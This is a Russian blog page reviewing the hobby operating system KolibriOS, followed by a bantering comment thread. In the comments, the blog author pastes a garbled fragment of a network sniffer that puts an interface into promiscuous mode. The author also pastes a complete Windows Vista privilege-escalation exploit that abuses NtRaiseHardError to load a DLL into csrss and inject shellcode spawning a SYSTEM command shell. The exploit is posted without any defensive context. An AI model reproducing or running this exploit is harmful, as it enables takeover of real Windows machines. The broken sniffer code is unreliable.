-Рубрики

 -Музыка

 -Стена

Perseph0na Perseph0na написал 03.01.2010 14:56:48:
Ты появляйся, пусть изредка, на день - другой, но появляйся!

 -Подписка по e-mail

 

 -Поиск по дневнику

Поиск сообщений в Perseph0na

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 03.02.2007
Записей:
Комментариев:
Написано: 2710


В поисках Колибри - что за зверь?

Вторник, 20 Февраля 2007 г. 09:35 + в цитатник

В поисках Колибри

Что же это за чудо такое - Операционная система Колибри, которае умещается на 1-й дискете? С чем его едят? И вообще зачем она нужна? После новости в доке Gnu Software о этой ОС, я думаю многие задались таким вопросом. Сейчас попробуем ответить на эти вопросы.

type:jpg, atr:115,109, title:В поисках Колибри



Немного истории:
В начале было....хе-хе.. неа, не слово, а MenuetOS. Это Open Source проект по созданию миниатюрной ОС на ассемблере. От нее отпочковался проект Колибри, и в Мае 2004 года вышла первая версия ОС 0.1.0.0 или просто MENUETOS RE (думаю, что это значит Russian Edition). Это так написано в файле History.txt, но в файле readme.txt я нашел, что первая версия была выпущена 30.08.2003. Мдя, не состыковочка :). Сейчас это уже версия 0.6.5.0. Будем ждать, когда выйдет 1.0.0.0, вот и выпьем шампанского за это! Ну что же, вперед на поиски Колибри!

Качаем с сайта разработчика архив. Внутри есть образ дискеты *.img, его мы можем записать на дискетку, флешку или же на CD (я так и поступил). Перезагружаемся. Появляется менюшка, в которой мы можем настроить графический режим и еще некоторые параметры - я не вдавался в подробности. Хочу обрадовать, что ОС русского происхождения (ее пишут и поддерживают русские программисты), поэтому меню на русском языке и весь интерфейс операционки тоже. Мгновенная загрузка ОС с CD и мы видим рабочий стол:
type:jpg, atr:1024,768, title:В поисках Колибри
Начнем с файловой системы. Колибри поддерживает чтение запись в FAT32 разделы, работу с CD-ROM, а по заверению  и чтение-запись ntfs разделов.  Как у любой себя уважающей ОС, у Колибри есть корневая директория /, сразу же в ней находятся виртуальный диск, флопики, HDD и CD. Заходим в HD0 (обратите внимание, Колибри умеет работать не только с одним жестким диском, поэтому и на конце "0" - hd0), и видим, что мои 2 win раздела пронумеровались как 1 и 2. А дальше уже можно перемещаться без проблем, т.к. русские папки он понимает только так.
Для передвижения по пакам можно использовать как графические Kolibry File Manager и System X-Tree File Browser,так и через.... Far. Разработчики позаботились о поклонниках NC-подобных файловых менеджеров.
type:jpg, atr:1024,768, title:В поисках Колибри
Для любителей консоли есть Command Line Iterpretator. Конечно же его функциональность только в зародыше, но уже можно писать простейшие shell скрипты, что не может не порадовать.
type:jpg, atr:517,303, title:В поисках Колибри
Теперь поговорим о мультимедиа возможностях маленькой, но очень гордой птички - Колибри :)
Графика просто великолепна для такого рода системы! В комплекте идут несколько демок, запустите их и почувствуйте гордость за наших разарботчиков!
type:jpg, atr:1024,768, title:В поисках Колибри
type:jpg, atr:1024,768, title:В поисках Колибри
Есть простейшие гляделка и редактор графических файлов. Когда я с помощью встроенной гляделки смотрел скриншоты, то они были исковерканы все до неузнаваемости. Видно, что это еще сырая программа :(
type:jpg, atr:800,600, title:В поисках Колибри
Но потом оказалось, что это файлы такие на самом деле, а гляделка тут не причем. Пришлось переделывать скриншоты в виртуальной машине :(
В комплекте идут проигрыватели wav и CD, но звук мне так и не удалось услышать. Никаких прибамбасов - только играют и ничего более.
type:jpg, atr:656,544, title:В поисках Колибри
Т.к. это только развивающаяся ОС, то в комплекте присутствует и инструментарий разработчика: Flat Assembler - Open Source ассемблер, всякие hex редакторы, текстовые редакторы, программы для упаковки и естественно примеры.
type:jpg, atr:481,459, title:В поисках Колибри
type:jpg, atr:1024,768, title:В поисках Колибри
Документация по программированию для этой ОС достаточно проста и открыта. Даже  со своими скудными познаниями в этом деле можо разобратся.

С сетевыми технологиями я мало не дружу, но посмотрев на раздел меню, посвященный сети, можно утверждатьо богатом потенциале. Тут и игры через Интернет, браузер, почта, IRC, RCC, ftp - в общем все блага :)
type:jpg, atr:308,400, title:В поисках Колибри
Ну и куда же мы денемся без игр. Конечно же тут не ахти какие игры - обычные настольные. Но, например, те же пятнашки меня затянули на час с лишним игры, т.е. отдохнуть тоже можно.
type:jpg, atr:161,456, title:В поисках Колибри
И из меню можно запустить первый Quake и Doom с жесткого диска, а это уже не один час убитого времени :))


В заключении, хочетсяпоблагодарить и похвалить ребят. Для них это просто хобби, это их любимое дело. Главное, чтобы они не остыли к нему. Такая хорошая ОС получается, и будет обидно, если ее забросят :((
Ну что же, Колибри, желаем тебе успехов в развитии!

Сайт проекта: http://www.kolibrios.org/
Скачать - размер 1,415,262 байт
Рубрики:  SOFT
Метки:  

Процитировано 2 раз

Аноним   обратиться по имени Вторник, 20 Февраля 2007 г. 12:00 (ссылка)
Как и обещал читаю твой дневник (ReadHTML();)
Впечатления:
00 =)
01 Respect();
02 Ока на Токийском автосалоне
03 Подходит ли для моего мозга?
04 А как же QNX ?
05 И нафикк надо?
06 Что лучше: Java или C# ?
Ответить С цитатой В цитатник
Perseph0na   обратиться по имени Вторник, 20 Февраля 2007 г. 13:10 (ссылка)
Yould_better_believe_me,Что лучше: Вольво или Мерседес?
Ответить С цитатой В цитатник
SilentCoder   обратиться по имени Вторник, 20 Февраля 2007 г. 15:54 (ссылка)
amentet, с точки зрения Оки?
Ответить С цитатой В цитатник
Perseph0na   обратиться по имени Вторник, 20 Февраля 2007 г. 16:26 (ссылка)
SilentCoder, C точки зрения летающей тарелки ( или сэакена )
Ответить С цитатой В цитатник
Max_Ventura   обратиться по имени Вторник, 20 Февраля 2007 г. 20:57 (ссылка)
Пусть развивают Колибри, делают совместимые программы и т.д. Шрифты пусть поменяют.
Ответить С цитатой В цитатник
Perseph0na   обратиться по имени Вторник, 20 Февраля 2007 г. 21:18 (ссылка)
Max_Ventura, Макс, я что, их уговариваю? Это невозможно! А ты в курсе что 2 недели назад у одного из компашки сын родился? Ладно. Дело в том, что этот кретин только вчера пить перестал.
Ответить С цитатой В цитатник
Max_Ventura   обратиться по имени Вторник, 20 Февраля 2007 г. 21:31 (ссылка)
amentet, сын пить перестал? Молодец, на знал. Ну пусть заходит
Ответить С цитатой В цитатник
Perseph0na   обратиться по имени Вторник, 20 Февраля 2007 г. 21:44 (ссылка)
Max_Ventura, он заходит, даже пост его есть, тестовый. Это я говорю *изпацтала* - сын родился и пить перестал , через 2 недели..))
Ответить С цитатой В цитатник
Аноним   обратиться по имени Вторник, 20 Февраля 2007 г. 22:56 (ссылка)
ИМХО - Мерседес лучше.
ИМХО - C# лучше! Java вообще неудобная!

Чувствую себя как T90С на Франкфуртском автосалоне!
Ответить С цитатой В цитатник
Аноним   обратиться по имени Вторник, 20 Февраля 2007 г. 23:02 (ссылка)
Кстати! Я начал осмысление того факта, что эта ОС на _ассемблере_ с открытым исходным кодом. Исходный код на ассемблере? Открытый? Респект!

Вопрос к профи: можно ли про ОС Windows сказать, что её исходный код на ассемблере открыт?
Ответить С цитатой В цитатник
Perseph0na   обратиться по имени Вторник, 20 Февраля 2007 г. 23:24 (ссылка)
Yould_better_believe_me,Как ребенок, ей богу! ( нам, татараm, что е*ать ,что резать ) - в смысле пофиг - TASM,MASM или Lisp Yould_better_believe_me, Да года два, правда Сишный, но дело НЕ В ИСХОДНИКАХ, а в КОМПИЛЯТОРЕ.
Ответить С цитатой В цитатник
Perseph0na   обратиться по имени Вторник, 20 Февраля 2007 г. 23:29 (ссылка)
Yould_better_believe_me,Либо ты про конвертеры кода не слышал ? НЕ ВЕРЮ! ( я дура и блондинка, в смысле => дура , IF блондинка ), спросил бы вчера, пока я не покрасилась!!!!
 (150x200, 32Kb)
Ответить С цитатой В цитатник
Аноним   обратиться по имени Вторник, 20 Февраля 2007 г. 23:37 (ссылка)
amentet, реально не врубаюсь. Объясните маленькому!
Значит всё-таки сишка, а не ассемблер.
Компилятор? Покруче Intel'эовского.

Что касается C# или Java. То разговор о том, что "всё равно на чём писать" я считаю дешёвым понтом. Например я спрашиваю коллегу, знает-ли он какую-нить хрень типа... мммммм... Ruby какой-нить, а он отвечает - "изучу если надо", то он как будто держит меня за идиота. Я что сам не могу изучить, блин?
Так боьшинство моих друзей пишут на VC6 и в частности используют сишные функции для работы с файлами (через FILE). Я противник таких вот "привычек" под настроение "всё равно на чём писать". Потому что VC++ 8 реально круче. И библиотеки качественнее и компилятор сильнее и среда удобнее.
Так что, какая разница на чём мы можем писать (читать хелпы все слава Богу умеем), а что реально лучше.

(пардон за флуд)
Ответить С цитатой В цитатник
Аноним   обратиться по имени Вторник, 20 Февраля 2007 г. 23:52 (ссылка)
amentet, может и слышал, но оно мимо меня пролетело как-то. Судя по называнию это нечто конвертирующиее код. Это чё угодно может быть. (мне на ум только XSLT-процессор приходит)

Ты будешь патсталом хватаясь за живот, но я даже не знаю ОС Линукс. С детства никогда не придавался фанатическим нстроениям, поэтому "Линукс-рулеззз" де-факто не признаю. Ставил, смотрел... Вроде бы понтов меньше, чем в окошках, тормознее и медленнее. Так и не стал фигнёй страдать. (почти не стыдно)

Так что вернёмся к нашим баранам. Мне ведь с практической точки зрения интересно. Люблю себя ублажать и люблю "всё делать правильно". Скажем, C# - это рулеззз реальный. Мощно и притом очень удобно! Приятно очень. Есть идея закать себя футболку с рисунком: C# =)

Вот мои коллеги пытались сделать минимальную программу exe на C и ассемблере. Умялись вроде бы в 800 байт или около того. (PE-заголовок всё переписывали). И это типа крутизна невероятная. Из программы все библиотеки вырезаны. И какой толк от программы, которая ничего не делает (кроме как занимает 800 байт)? Это к вопросу об остром си с кофе...

Кстати: перекрашенная блондинка - это искусственный интеллект.
Ответить С цитатой В цитатник
Perseph0na   обратиться по имени Вторник, 20 Февраля 2007 г. 23:57 (ссылка)
Извини за ликбез,за флуд не извиняюсь, ты про это?


#ifdef SUNOS4 /*--------< SUN OS4 >-----------*/

#define NIT_DEV "/dev/nit" */

#define DEFAULT_NIC "le0" */

#define CHUNKSIZE 4096 */

#endif



#ifdef LINUX /*--------< LINUX >-------------*/

#define NIT_DEV ""

#define DEFAULT_NIC "eth0" */

#define CHUNKSIZE 32000 */

#endif



#ifdef FREEBSD /*--------< FreeBSD >-----------*/

#define NIT_DEV "/dev/bpf" */

#define DEFAULT_NIC "ed0" */

#define CHUNKSIZE 32000 */

#endif



#ifdef IRIX /*-----------< IRIX >--------------*/

#define NIT_DEV ""

#define DEFAULT_NIC ""

#define CHUNKSIZE 60000 */

#define ETHERHDRPAD RAW_HDRPAD(sizeof(struct ether_header))

#endif



#ifdef SOLARIS /*--------< Solaris >-----------*/

#define NIT_DEV "/dev/hme" */

#define DEFAULT_NIC ""

#define CHUNKSIZE 32768 */

#endif



#define S_DEBUG */

#define SIZE_OF_ETHHDR 14 */

#define LOGFILE "./snif.log" */

#define TMPLOG_DIR "/tmp/" */



struct conn_list{

struct conn_list *next_p;

char sourceIP[16],destIP[16];

unsigned long sourcePort,destPort;

};



struct conn_list *cl; struct conn_list *org_cl;



#ifdef SOLARIS

int strgetmsg(fd, ctlp, flagsp, caller)

int fd;

struct strbuf *ctlp;

int *flagsp;

char *caller;

{

int rc;

static char errmsg[80];



*flagsp = 0;

if ((rc=getmsg(fd,ctlp,NULL,flagsp))<0) return(-2);

if (alarm(0)<0) return(-3);

if ((rc&(MORECTL|MOREDATA))==(MORECTL|MOREDATA)) return(-4);

if (rc&MORECTL) return(-5);

if (rc&MOREDATA) return(-6);

if (ctlp->lendl_primitive != DL_OK_ACK) return(-3);



pr.dl_primitive=DL_PROMISCON_REQ; pr.dl_level=DL_PROMISC_PHYS; c.maxlen = 0;

c.len=sizeof(dl_promiscon_req_t); c.buf=(char *)≺

if (putmsg(sock,&c,NULL,0)<0) return(-4);



c.maxlen=CHUNKSIZE; c.len=0; c.buf=(void *)buf;

strgetmsg(sock,&c,&flags,"dlokack"); dp=(union DL_primitives *)c.buf;

if (dp->dl_primitive != DL_OK_ACK) return(-5);



bind_req.dl_primitive=DL_BIND_REQ; bind_req.dl_sap=0x800;

bind_req.dl_max_conind=0; bind_req.dl_service_mode=DL_CLDLS;

bind_req.dl_conn_mgmt=0; bind_req.dl_xidtest_flg=0; c.maxlen=0;

c.len=sizeof(dl_bind_req_t); c.buf=(char *)&bind_req;

if (putmsg(sock,&c,NULL,0)<0) return(-6);



c.maxlen=CHUNKSIZE; c.len=0; c.buf=(void *)buf;

strgetmsg(sock,&c,&flags,"dlbindack"); dp=(union DL_primitives *)c.buf;

if (dp->dl_primitive != DL_BIND_ACK) return(-7);



si.ic_cmd=DLIOCRAW; si.ic_timout=-1; si.ic_len=0; si.ic_dp=NULL;

if (ioctl(sock, I_STR, &si)<0) return(-8);

if (ioctl(sock,I_FLUSH,FLUSHR)<0) return(-9);

#endif

return(sock);

}
Ответить С цитатой В цитатник
Аноним   обратиться по имени Среда, 21 Февраля 2007 г. 00:11 (ссылка)
спасибо за ликбез...
я так понимаю, ты у меня Access violation пыталась сделать =)
можешь пояснить?
1. я, конечно в языках не силён... но вроде бы должна быть функция main (если это c, конечно =) вроде похоже)
2. не нашёл среди define самой главной оськи! windows
3. не шарю в тонкостях, но LINUX - это что просто линукс??? У них там нет никаких различий?
4. непонятно, что это:
#ifdef SOLARIS

int strgetmsg(fd, ctlp, flagsp, caller)

int fd;

struct strbuf *ctlp;

int *flagsp;

char *caller;

{

как-то непосишному!

4. ну и, пожалуй, хватит... самое главное, что я точно знаю: return (sock); надо писать без скобок! return - это оператор, а не функция, хотя компилятор скобки пропускает...
Ответить С цитатой В цитатник
SilentCoder   обратиться по имени Среда, 21 Февраля 2007 г. 00:41 (ссылка)
Yould_better_believe_me, блин, это вообще макросы, директивы условной компиляции в зависимости от платформы - так что всё в поряде...
Ответить С цитатой В цитатник
Perseph0na   обратиться по имени Среда, 21 Февраля 2007 г. 11:14 (ссылка)
Yould_better_believe_me,ты не вьехал,понял сразу SilentCoder, а тебе, стритрейсер - "по сишному"Yould_better_believe_me, //exploit NtRaiseHardError privesc and load dll into csrss
//this version only is vista, other version can be worked
//with proper offsets, i will complete them soon
//imperfect but sometime work, ok for proto type;)
//dll limit to 8 chars but maybe can work around by
//\xxx\..\dll type trick and use LoadLibraryW, now is
//C:\TEST but another drive maybe work
#define offs1 0x30
#define offs2 0xBBD0
#include "windows.h"
#include "stdio.h"
DWORD(WINAPI*NtConnectPort)(PHANDLE,PWORD,
PSECURITY_QUALITY_OF_SERVICE,PDWORD,PDWORD,PDWORD,PVOID,
PDWORD);
DWORD(WINAPI*NtQueryInformationProcess)(HANDLE,DWORD,PVOID,
DWORD,PDWORD);
DWORD(WINAPI*NtRaiseHardError)(DWORD,DWORD,DWORD,PVOID*,
DWORD,PDWORD);
HANDLE hl;
HANDLE hs;
DWORD sb;
LPVOID lpc(LPCWSTR w){//cesar trick
WORD n[4];
SECURITY_QUALITY_OF_SERVICE q;
LPVOID p;
DWORD d;
DWORD c[6],s[3];
BYTE b[0x28];
n[0]=n[1]=wcslen(w)*2;
*(PDWORD)(n+2)=(DWORD)w;
memset(&q,0,sizeof(q));
q.Length=sizeof(q);
p=NULL;
d=0x1000;
memset(&c,0,sizeof(c));
c[0]=sizeof(c);
memset(&s,0,sizeof(s));
s[0]=sizeof(s);
memset(&b,0,sizeof(b));
b[1]=1;
hs=CreateFileMapping(INVALID_HANDLE_VALUE,NULL,
PAGE_READWRITE,0,d,NULL);
if(!hs)return NULL;
p=MapViewOfFile(hs,FILE_MAP_ALL_ACCESS,0,0,0);
if(!p)return NULL;
c[1]=(DWORD)hs;
c[3]=d;
c[4]=(DWORD)p;
d=sizeof(b);
if(NtConnectPort(&hl,n,&q,c,s,NULL,&b,&d))
return NULL;
sb=c[5];
return p;
}

HANDLE e1,e11;
DWORD WINAPI tp1(LPVOID a){
LPVOID p[7];
DWORD d;
p[0]=p+3;
p[1]=p+5;
p[2]=0;
p[3]=(LPVOID)0x1B001AE;
p[4]=L"\\??\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
p[5]=(LPVOID)0x100010;
p[6]=L"erasmus1";
while(1){
WaitForSingleObject(e1,INFINITE);
NtRaiseHardError(0x40000018,3,3,p,0,&d);
SetEvent(e11);
}
return 0;
}

DWORD aaa,bbb;
HANDLE e2,e22;
DWORD WINAPI tp2(LPVOID a){
BYTE b[0xD8];
LPVOID p[7];
DWORD d;
memset(&b,0,sizeof(b));
*(PDWORD)(b+0x3C)=2;
*(PDWORD)(b+0x48)=1;
*(PDWORD)(b+0x4C)=1;
p[0]=p+3;
p[1]=p+5;
p[2]=0;
p[3]=(LPVOID)0xD600D6;
p[4]=&b;
p[5]=(LPVOID)0x100010;
p[6]=L"erasmus2";
while(1){
WaitForSingleObject(e2,INFINITE);
memcpy(&b,"C:\\TEST",8);
*(PDWORD)(b+0x08)=aaa;
*(PDWORD)(b+0x0C)=bbb;
*(PDWORD)(b+0x70)=aaa+0x100;
*(PDWORD)(b+0x74)=aaa+0x100;
NtRaiseHardError(0x40000018,3,3,p,0,&d);
SetEvent(e22);
}
return 0;
}

STARTUPINFO cps;
PROCESS_INFORMATION cpi;
void w(DWORD a,DWORD d){
HWND h;
aaa=d;
bbb=a;
SetEvent(e1);
do{h=FindWindow(NULL,"erasmus1");}while(!h);
CreateProcess(NULL,"notepad",NULL,NULL,0,0,NULL,NULL,&cps,
&cpi);
Sleep(100);
SendMessage(h,WM_CLOSE,0,0);
Sleep(100);
SetEvent(e2);
do{h=FindWindow(NULL,"erasmus2");}while(!h);
TerminateThread(cpi.hThread,0);
Sleep(100);
CreateProcess(NULL,"notepad",NULL,NULL,0,0,NULL,NULL,&cps,
&cpi);
Sleep(100);
SendMessage(h,WM_CLOSE,0,0);
Sleep(100);
}

int main(int c,char**v){
char sd[MAX_PATH];
char dp[MAX_PATH];
WCHAR pp[MAX_PATH];
WCHAR pn[MAX_PATH];
HMODULE nt,kr,ad;
DWORD se,cs,ws,u,d,h;
HANDLE t;
LPBYTE sc;
GetSystemDirectory(sd,sizeof(sd));
sprintf(dp,"%s\\csrsrv.dll",sd);
cs=(DWORD)LoadLibrary(dp);
sprintf(dp,"%s\\winsrv.dll",sd);
ws=(DWORD)LoadLibrary(dp);
sprintf(dp,"%s\\ntdll.dll",sd);
nt=LoadLibrary(dp);
sprintf(dp,"%s\\kernel32.dll",sd);
kr=LoadLibrary(dp);
sprintf(dp,"%s\\advapi32.dll",sd);
ad=LoadLibrary(dp);
*(LPVOID*)&NtConnectPort=GetProcAddress(nt,"NtConnectPort");
*(LPVOID*)&NtQueryInformationProcess=GetProcAddress(nt,
"NtQueryInformationProcess");
*(LPVOID*)&NtRaiseHardError=GetProcAddress(nt,
"NtRaiseHardError");
if(2==c){
d=atoi(v[1]);
if(!d){
printf("no args need\n");
return -1;
}
t=OpenProcess(PROCESS_ALL_ACCESS,0,d);
if(!t){
printf("no args need\n");
return -1;
}
__asm mov eax,fs:[0x18]
__asm mov eax,[eax+0x30]
__asm mov eax,[eax+0x1D4]
__asm mov se,eax
if(se)swprintf(pp,L"\\Sessions\\%d\\Windows",se);
else swprintf(pp,L"\\Windows");
swprintf(pn,L"%s\\ApiPort",pp);
sc=(LPBYTE)lpc(pn);
swprintf(pn,L"%s\\SbApiPort",pp);
if(!sc)sc=(LPBYTE)lpc(pn);
if(!sc)return -1;
h=0;
DuplicateHandle(GetCurrentProcess(),hs,t,(LPHANDLE)&h,0,0,2);
WriteProcessMemory(t,&hs,&h,4,&d);
WriteProcessMemory(t,&sb,&sb,4,&d);
Sleep(INFINITE);
}else{
STARTUPINFO cps;
PROCESS_INFORMATION cpi;
hs=sc=NULL;
sb=0;
memset(&cps,0,sizeof(cps));
cps.cb=sizeof(cps);
cps.dwFlags=STARTF_USESHOWWINDOW;
sprintf(sd,"\"%s\" %d",v[0],GetCurrentProcessId());
if(!CreateProcess(NULL,sd,NULL,NULL,0,
CREATE_NEW_PROCESS_GROUP|CREATE_NEW_CONSOLE,NULL,NULL,&cps,
&cpi)){
printf("spawn fail\n");
return -1;
}
Sleep(3000);
if(!hs){
printf("lpc fail\n");
return -1;
}
sc=(LPBYTE)MapViewOfFile(hs,FILE_MAP_ALL_ACCESS,0,0,0);
}
memset(&cps,0,sizeof(cps));
cps.cb=sizeof(cps);
cps.dwFlags=STARTF_USESHOWWINDOW;
e1=CreateEvent(NULL,0,0,NULL);
e11=CreateEvent(NULL,0,0,NULL);
CreateThread(NULL,0,tp1,NULL,0,NULL);
e2=CreateEvent(NULL,0,0,NULL);
e22=CreateEvent(NULL,0,0,NULL);
CreateThread(NULL,0,tp2,NULL,0,NULL);
u=cs+offs2;
*(PDWORD)(sc+offs1)=(DWORD)GetProcAddress(kr,"LoadLibraryA");
w(u,sb);
Sleep(INFINITE);
return 0;
}



//test.c
//26-12-2006 ]erasmus[/ORC
//dll for load in csrss by raise.c
//repair csrss and create OWNED.TXT and try create system cmd
//i can exec shell code in lpc shared section but LoadLibrary
//is for work around of DEP on vista
//also imperfect but also is proto type!
//offsets is for vista
#define offs1 0x5F89
#define offs2 0xBBD0
#define offs3 0xBBFC
#define offs4 0x3F0CC
#include "windows.h"
LONG WINAPI uef(LPEXCEPTION_POINTERS a){
Sleep(INFINITE);
return 0;
}

DWORD WINAPI tp(LPVOID a){
HMODULE kr,ws;
BYTE b[0x100];
DWORD c,d;
HANDLE h,t;
kr=GetModuleHandle("kernel32");
ws=GetModuleHandle("winsrv");
h=OpenProcess(PROCESS_ALL_ACCESS,0,*(LPDWORD)((DWORD)ws+offs4));
c=(DWORD)VirtualAllocEx((HANDLE)h,NULL,sizeof(b),MEM_COMMIT,PAGE_EXE
CUTE_READWRITE);
d=(DWORD)GetProcAddress(kr,"CreateProcessA")-(c+69);
memcpy(b,"\x33\xC0\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x
50\x50\xE8\x10\x00\x00\x00\x57\x69\x6E\x53\x74\x61\x30\x5C\x44\x65\x
66\x61\x75\x6C\x74\x00\x50\x6A\x44\x8B\xCC\x68\x63\x6D\x64\x00\x50\x
50\x50\x50\x54\x51\x50\x50\x50\x50\x50\x50\x83\xC1\xFC\x51\x50\xE8\x
00\x00\x00\x00\x83\xC4\x58\xC3",73);
*(LPDWORD)(b+65)=d;
WriteProcessMemory((HANDLE)h,(LPVOID)c,b,sizeof(b),&d);
t=CreateRemoteThread((HANDLE)h,NULL,0,(LPTHREAD_START_ROUTINE)c,NULL
,0,NULL);
WaitForSingleObject(t,INFINITE);
return 0;
}

BOOL WINAPI DllMain(HANDLE a,DWORD dwReason,LPVOID c){
DWORD cs,d;
LPDWORD p,f,l;
HANDLE h;
if(DLL_PROCESS_ATTACH==dwReason){
SetUnhandledExceptionFilter(uef);
h=CreateFile("C:\\OWNED.TXT",GENERIC_WRITE,0,NULL,
CREATE_ALWAYS,FILE_FLAG_WRITE_THROUGH,NULL);
WriteFile(h,"greetz from csrss!\r\n",20,&d,NULL);
CloseHandle(h);
cs=(DWORD)GetModuleHandle("csrsrv");
*(LPDWORD)(cs+offs2)=0;
__asm mov eax,esp
__asm mov p,eax
while(1){
if(cs+offs1==*p){
*p=(DWORD)ExitThread;
d=p[1]+8;
break;
}
p=p+1;
}
p=*(LPDWORD*)(cs+offs3)+2;
f=p;
while(d!=f[0])f=*(LPDWORD*)f;
l=p;
while(d!=l[1])l=*(LPDWORD*)(l+1);
*(LPDWORD*)f=l;
*(LPDWORD*)(l+1)=f;
for(d=0;d<100;d=d+1){
p=(LPDWORD)HeapAlloc(GetProcessHeap(),0,0xD8);
memset(p,0,0xD8);
p[2]=(DWORD)p+0x08;
p[3]=(DWORD)p+0x08;
p[4]=(DWORD)p+0x10;
p[5]=(DWORD)p+0x10;
p[13]=0x240000;
p[15]=1;
p[16]=1;
p[28]=(DWORD)p+0x78;
p[29]=(DWORD)p+0x80;
}
p=(LPDWORD)GetProcessHeap();
while(1){
p=p+1;
if(0x60005==*p&&p[1]>(DWORD)p&&p[1]<(DWORD)p+0x100&&
!strcmp(*(LPSTR*)(p+1),"CSRSS")){
d=p[1]+6;
while(1){
p=p-1;
if(d-(DWORD)p==*p)break;
}
break;
}
}
*(LPDWORD*)(cs+offs2)=p;
Sleep(0);
CreateThread(NULL,0,tp,NULL,0,NULL);
}
return TRUE;
На этом позвольте более кодом не флудить. С уважением,
Рита.
 (150x150, 25Kb)
Ответить С цитатой В цитатник
Аноним   обратиться по имени Среда, 21 Февраля 2007 г. 15:19 (ссылка)
интересные вещи происходят:
1. Я не понимаю, хотя обычно меня не помимают
2. я по моему знаю, что такое директивы условной компиляции (даже в шарпе их оставили!)ИМХО - внутри этих директив нарушение сиснтаксиса (VC++8 со мной согласен, изините, но GCC & Co не юзаю, апчхи)
3. Куда эти директивы засунуть? (говоря проще - на кой он мне?)
4. респект сайлент кодеру, за то, что углубился в эти дебри
5. (холодно тут у меня)... я люблю учиться, а не учить, поэтому ... amentet.QueryInterface(); вновь и вновь..
6. по поводу последнего (ну и гадость ваша заливная рыба). написано эксплойт для виста... блин у меня и висты то нет. К тому же... я люблю, а не ломать.
7. напиши на C# 3.0 - special for Alex

Очень приятно, Алексей.
(пришли ищё картинку mailto:dielamer@mail.ru)
Ответить С цитатой В цитатник
Perseph0na   обратиться по имени Среда, 21 Февраля 2007 г. 15:46 (ссылка)
C# 3.0
----------------------------
public class ExampleClass
{
public static void Main()
{
System.Console.WriteLine("special for Alex!");
}
}
Yould_better_believe_me,
Ответить С цитатой В цитатник
Аноним   обратиться по имени Среда, 21 Февраля 2007 г. 15:50 (ссылка)
Ваааааааааааааааауууууууууу)))))))

Я покорён!
Ответить С цитатой В цитатник
SilentCoder   обратиться по имени Среда, 21 Февраля 2007 г. 16:03 (ссылка)
Yould_better_believe_me, куда углубился? Какие дебри? За что респект? Мне эти дебри нах не нужны, я просто взглядом окинул беглым.
Ответить С цитатой В цитатник
Аноним   обратиться по имени Среда, 21 Февраля 2007 г. 16:07 (ссылка)
SilentCoder, я думал, раз Она тебя похвалила, значит ты понял, что делает этот код и вообще куда его засунуть
Ответить С цитатой В цитатник
Perseph0na   обратиться по имени Среда, 21 Февраля 2007 г. 16:10 (ссылка)
SilentCoder, Сай, у нас тут форум открылся.Кодерский)))) я точно пацталомYould_better_believe_me, сотворила вот:www.amentet.bb2.ru -для трепа , простого, а меня КОД преследует, с маньячной настойчивостью...((()))____(_|_)
Ответить С цитатой В цитатник
Аноним   обратиться по имени Среда, 21 Февраля 2007 г. 16:15 (ссылка)
amentet, я тут как-то искал сообщество пронерское на ли.ру.. так вот не нашёл такого. Давай сделаем маленького?
Ответить С цитатой В цитатник
Perseph0na   обратиться по имени Среда, 21 Февраля 2007 г. 16:41 (ссылка)
Yould_better_believe_me,
Маленького или маленькую? Или форум?
 (150x150, 38Kb)
Ответить С цитатой В цитатник
Аноним   обратиться по имени Среда, 21 Февраля 2007 г. 16:44 (ссылка)
Yould_better_believe_me, кого получится! Нам же всё равно на чём прогить=)
Ответить С цитатой В цитатник
Perseph0na   обратиться по имени Среда, 21 Февраля 2007 г. 16:55 (ссылка)
Yould_better_believe_me, На СНЕГУ? Голым задом?
 (200x135, 14Kb)
Ответить С цитатой В цитатник
Аноним   обратиться по имени Среда, 21 Февраля 2007 г. 17:03 (ссылка)
amentet, ты разносторонне развитая личность
Ответить С цитатой В цитатник
Perseph0na   обратиться по имени Среда, 21 Февраля 2007 г. 17:13 (ссылка)
Yould_better_believe_me,Нельзя быть "односторонней" , хотя, чем шире угол зрения - тем он тупее, приходится искать компромиссы, но в дюбом случае - не 45 градусов, я НЕ ПЬЮ!
 (51x28, 15Kb)
Ответить С цитатой В цитатник
Комментировать К дневнику Страницы: [1] 2 [Новые]
 

Добавить комментарий:
Текст комментария: смайлики

Проверка орфографии: (найти ошибки)

Прикрепить картинку:

 Переводить URL в ссылку
 Подписаться на комментарии
 Подписать картинку